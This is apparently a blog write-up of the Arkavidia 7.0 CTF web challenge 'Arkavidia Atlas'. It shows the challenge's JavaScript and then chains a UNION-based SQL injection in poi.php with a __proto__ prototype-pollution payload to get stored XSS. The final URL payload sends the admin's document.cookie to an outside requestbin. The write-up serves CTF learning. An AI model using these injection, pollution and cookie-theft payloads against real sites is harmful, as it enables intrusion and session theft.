[Arkavidia 7.0 CTF Writeup] Arkavidia Atlas

[Arkavidia 7.0 CTF Writeup] Arkavidia Atlas

Chall Description


arkavidia_atlas_chall_desc.png

Initial Foothold


When first visit the webpage, we get this view of some sort of maps :

arkavidia_atlas_web_view.png

There is something interesting on the source page and on the JS files :

view-source:slave2.ctf.arkavidia.id:10021

<!doctype html>
<html>

<head>
    <title>Arkavidia Atlas</title>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <link href="tailwind.css" rel="stylesheet">
    <link rel="stylesheet" href="https://unpkg.com/leaflet@1.7.1/dist/leaflet.css" integrity="sha512-xodZBNTC5n17Xt2atTPuE1HxjVMSvLVW9ocqUKLsCC5CXdbqCmblAshOMAS6/keqq/sMZMZ19scR4PsZChSR7A==" crossorigin="" />
    <script src="https://unpkg.com/leaflet@1.7.1/dist/leaflet.js" integrity="sha512-XQoYMqMTK8LvdxXYG3nZ448hOEQiglfqkJs1NOQV44cWnUrBc8PkAOcXy20w0vlaXaVUearIOBhiXZ5V3ynxwA==" crossorigin=""></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/leaflet.markercluster/1.4.1/leaflet.markercluster.js" integrity="sha512-MQlyPV+ol2lp4KodaU/Xmrn+txc1TP15pOBF/2Sfre7MRsA/pB4Vy58bEqe9u7a7DczMLtU5wT8n7OblJepKbg==" crossorigin="anonymous"></script>
    <script src="https://code.jquery.com/jquery-3.5.1.min.js" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>
    <script src="atlas.js" type="text/javascript"></script>
</head>

<body>
    <div id="map" class="w-full h-full absolute" style="z-index: -1"></div>
    <div class="bg-white shadow-lg w-full max-w-md absolute m-4 rounded-sm">
        <div class="p-3">
            <h1 class="text-2xl">Arkavidia Atlas</h1>
        </div>
        <div id="inst" class="p-3 border-t">
            <p>Click on a pin to see the location details</p>
        </div>
        <div id="details" class="hidden border-t">
            <img id="poi-preview" width="100%" class="mb-2" />
            <div class="p-3">
                <h3 class="text-xl" id="poi-title"></h3>
                <p id="poi-desc" class="mt-2 text-gray-500"></p>
                <div class="mt-3">
                    <span class="text-red-500 text-xs cursor-pointer" id="close-btn">&#x2715; &nbsp;Close Details</span>
                </div>
            </div>
        </div>
    </div>
    <form id="reportform" action="report.php" method="post">
        <input type="hidden" name="hash" id="report-url" />
    </form>
</body>

<script type="text/javascript" src="app.js"></script>

</html>

view-source:slave2.ctf.arkavidia.id:10021/atlas.js

const isObject = (obj) => typeof obj === "object";

function merge(dest, src) {
  for (let attr in src) {
    if (isObject(src[attr])) {
      if (!dest[attr]) dest[attr] = {};
      merge(dest[attr], src[attr]);
    } else {
      dest[attr] = src[attr];
    }
  }

  return dest;
}

function parseHash(hash) {
  if (!hash) return {};
  let parts = hash.split("&");
  let out = {};
  for (let part in parts) {
    let sect = parts[part].split("=");
    let key = sect[0];
    let val = decodeURIComponent(sect[1]);

    merge(out, { [key]: val });
  }

  return out;
}

function setHashParams(newParams) {
  hashParams = merge(hashParams, newParams);
  let attrStrings = [];
  for (let attr in hashParams) {
    attrStrings.push(attr + "=" + encodeURIComponent(hashParams[attr]));
  }
  window.location.href = "#" + attrStrings.join("&");
}

var hash = window.location.hash.substring(1);
var hashParams = parseHash(hash);

view-source:slave2.ctf.arkavidia.id:10021/app.js

var lat = -6.8905652;
var long = 107.6101062;
var zoom = 17;

window.onhashchange = function () {
  let hash = window.location.hash.substring(1);
  hashParams = parseHash(hash);
  let openedId = hashParams.o;
  openDetails(openedId);
};

if (hashParams.c) {
  lat = hashParams["c.lat"];
  long = hashParams["c.lon"];
}

if (hashParams.z) {
  zoom = hashParams.z;
}

var points = {};

function openDetails(id) {
  let point = points[id];
  if (point) {
    $("#details").show();
    $("#inst").hide();
    $("#poi-title").text(point.name);
    if (point.img_uri) {
      $("#poi-preview").attr("src", point.img_uri).show();
    } else {
      $("#poi-preview").hide();
    }

    point.isHtml
      ? $("#poi-desc").html(point.description)
      : $("#poi-desc").text(point.description);
  } else {
    $("#details").hide();
    $("#inst").show();
  }
}

function loadBounds(lngLb, latLb, lngUb, latUb) {
  $.get(
    "poi.php",
    { lng_lb: lngLb, lat_lb: latLb, lng_ub: lngUb, lat_ub: latUb },
    function (data) {
      markers.clearLayers();
      points = {};
      for (let key in data) {
        let point = data[key];

        merge(points, { [point.id]: point });

        if (point.id === hashParams.o) {
          openDetails(point.id);
        }

        let id = point.id;
        L.marker([point.lat, point.lng])
          .on("click", function () {
            if (hashParams.o !== id) {
              setHashParams({ o: id });
            } else {
              setHashParams({ o: "" });
            }
          })
          .addTo(markers);
      }
    }
  );
}

var map = L.map("map", { zoomControl: false, maxZoom: 18 }).setView(
  [lat, long],
  zoom
);
let markers = L.markerClusterGroup();
map.addLayer(markers);

map.on("moveend", function (e) {
  let center = map.getCenter();
  let zoom = map.getZoom();
  let bounds = map.getBounds();
  loadBounds(
    bounds._southWest.lng,
    bounds._southWest.lat,
    bounds._northEast.lng,
    bounds._northEast.lat
  );

  setHashParams({
    "c.lat": center.lat,
    "c.lon": center.lng,
    z: zoom,
  });
});

$("#close-btn").click(function () {
  setHashParams({ o: "" });
});

function reportMap() {
  $("#report-url").val(window.location.hash.substring(1));
  $("#reportform").submit();
}

L.tileLayer("https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png", {
  attribution:
    '&copy; <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors | <a class="cursor-pointer" onclick="reportMap();">Report Map</a>',
}).addTo(map);

let bounds = map.getBounds();
let lngLb = hashParams["b.lng.lb"] || bounds._southWest.lng;
let latLb = hashParams["b.lat.lb"] || bounds._southWest.lat;
let lngUb = hashParams["b.lng.ub"] || bounds._northEast.lng;
let latUb = hashParams["b.lat.ub"] || bounds._northEast.lat;

loadBounds(lngLb, latLb, lngUb, latUb);

From all of the code above, we assume there should be a XSS technique involved on the solve step to get the flag. We get this assumption based on there is exist a form that we can report something to admin and there is exist an unsafe merge function that used on the JS code.

Finding the SQL Injection


On the app.js, there is a background request made to path /poi.php with some parameters. My teammate, Fadli, then found that there is SQLi on the GET param request. This is the example request and response from normal request :

Request Response
GET /poi.php?lng_lb=107.604957818985&lat_lb=-6.891912527239271&lng_ub=107.61525750160219&lat_ub=-6.889223063179617 HTTP/1.1
Host: slave2.ctf.arkavidia.id:10021
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: slave2.ctf.arkavidia.id:10021
Cache-Control: max-age=0
        
HTTP/1.1 200 OK
Date: Sun, 28 Feb 2021 11:51:00 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Content-Length: 846
Connection: close
Content-Type: application/json

[ { "id": "1", "lat": "-6.890572547912598", "lng": "107.6097640991211", "name": "Labtek V Benny Subianto", "description": "Labtek V adalah gedung tercinta yang digunakan oleh mahasiswa Teknik Informatika dan Sistem dan Teknologi Informasi ITB. Gedung ini memiliki kembaran lainnya, yaitu Labtek VI, VII, dan VIII yang masing-masing memiliki namesake yang berbeda.", "img_uri": "itb.ac.id/files/images/1492062830.jpg", "meta": null }, { "id": "3", "lat": "-6.891597", "lng": "107.610387", "name": "Lapcin & Lapbas", "description": "Di dua lapangan ini biasanya IT Festival Arkavidia dilaksanakan! Lapangan Cinta dan Lapangan Basket merupakan saksi bisu dari kegiatan kemahasiswaan di ITB, baik itu konser maupun agitasi.", "img_uri": "rinaldimunir.files.wordpress.com/2012/12/27..", "meta": { "establishment": "open space" } } ]

From the normal request above, we know that the meta value could contain another JSON object, so we try to use JSON_OBJECT of the MySQL to select some JSON object on the meta value.

Request Response
GET /poi.php?lng_lb=1&lat_lb=1&lng_ub=(select+108)+and+false+union+select+1,2,3,4,5,1,JSON_OBJECT('test',JSON_OBJECT('test2','asd'))+--+-&lat_ub=1 HTTP/1.1
Host: slave2.ctf.arkavidia.id:10021
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: slave2.ctf.arkavidia.id:10021
        
HTTP/1.1 200 OK
Date: Sun, 28 Feb 2021 12:02:26 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Content-Length: 107
Connection: close
Content-Type: application/json

[ { "id": "1", "lat": "2", "lng": "3", "name": "4", "description": "5", "img_uri": "1", "meta": { "test": { "test2": "asd" } } } ]

This SQLi will be used on building the payload for Prototype Pollution XSS.

Crafting Prototype Pollution


We know there is an unsafe merge function that can be used for Prototype Pollution. For the reference of what is Prototype Pollution ? Can be found here .


First, when the web loads, it will try to build hashParams object by using the value supplied on the location.hash.substring(1). Then the webpage will build some parameter and finally call function loadBounds :

let lngLb = hashParams["b.lng.lb"] || bounds._southWest.lng;
let latLb = hashParams["b.lat.lb"] || bounds._southWest.lat;
let lngUb = hashParams["b.lng.ub"] || bounds._northEast.lng;
let latUb = hashParams["b.lat.ub"] || bounds._northEast.lat;

loadBounds(lngLb, latLb, lngUb, latUb);

On the loadBounds function, there will be a GET request to /poi.php and the response data will be build to points object using unsafe merge function :

function loadBounds(lngLb, latLb, lngUb, latUb) {
  $.get(
    "poi.php",
    { lng_lb: lngLb, lat_lb: latLb, lng_ub: lngUb, lat_ub: latUb },
    function (data) {
      markers.clearLayers();
      points = {};
      for (let key in data) {
        let point = data[key];

        merge(points, { [point.id]: point });

        if (point.id === hashParams.o) {
          openDetails(point.id);
        }

After that, there will be a call to function openDetails using the id received from the response :

function openDetails(id) {
  let point = points[id];
  if (point) {
    $("#details").show();
    $("#inst").hide();
    $("#poi-title").text(point.name);
    if (point.img_uri) {
      $("#poi-preview").attr("src", point.img_uri).show();
    } else {
      $("#poi-preview").hide();
    }

    point.isHtml
      ? $("#poi-desc").html(point.description)
      : $("#poi-desc").text(point.description);
  } else {
    $("#details").hide();
    $("#inst").show();
  }
}

Since we control the value on the points object (using SQLi before), we have an idea to inject XSS payload on the description value. But, there is one requirement, point object must have filled value isHtml on the object. But, like you see on the response, there is no isHtml value. Do you remember previously that we can inject JSON object on the meta response value ? Yes, we will use that to host our Prototype Pollution payload. Since the unsafe merge function works recursively, we could pollute the JS prototype by using this value on the meta response :

{"__proto__": {"isHtml": "true"}}

Above payload will pollute the JS prototype and add .isHtml value to all the object exist.

Combine the Vuln and Get the Flag


By combining the two vuln, we come up with this url payload :

http://slave2.ctf.arkavidia.id:10021/#b.lng.lb=1&b.lat.lb=1&b.lng.ub=(select%20108)%20and%20false%20union%20select%20'bruh',2,3,4,'<script>alert(document.domain);</script>',1,JSON_OBJECT('__proto__',JSON_OBJECT('isHtml','true'))%20--%20-&b.lat.ub=1&o=bruh

Visiting above url, we could get a working XSS :

arkavidia_atlas_xss.png

After verify the working XSS, we then try to change the url payload to perform a request to our requestbin and try to leak the admin cookie (if there is any):

http://slave2.ctf.arkavidia.id:10021/#b.lng.lb=1&b.lat.lb=1&b.lng.ub=(select%20108)%20and%20false%20union%20select%20'bruh',2,3,4,'%3Cimg%20src%3d%22https://<reqbin url>/?a%3d%22%2bdocument.cookie%3E',1,JSON_OBJECT('__proto__',JSON_OBJECT('isHtml','true'))%20--%20-&b.lat.ub=1&o=bruh

Send it by trigger reportMap() function on the console after visiting above url, wait some time, and we receive connection from admin and the flag is located on the User-Agent :

arkavidia_atlas_flag.png

Flag : Arkav7{capek_bikin_soalnya_sumpah}

Did you find this article valuable?

Support Yeraisci's Blog by becoming a sponsor. Any amount is appreciated!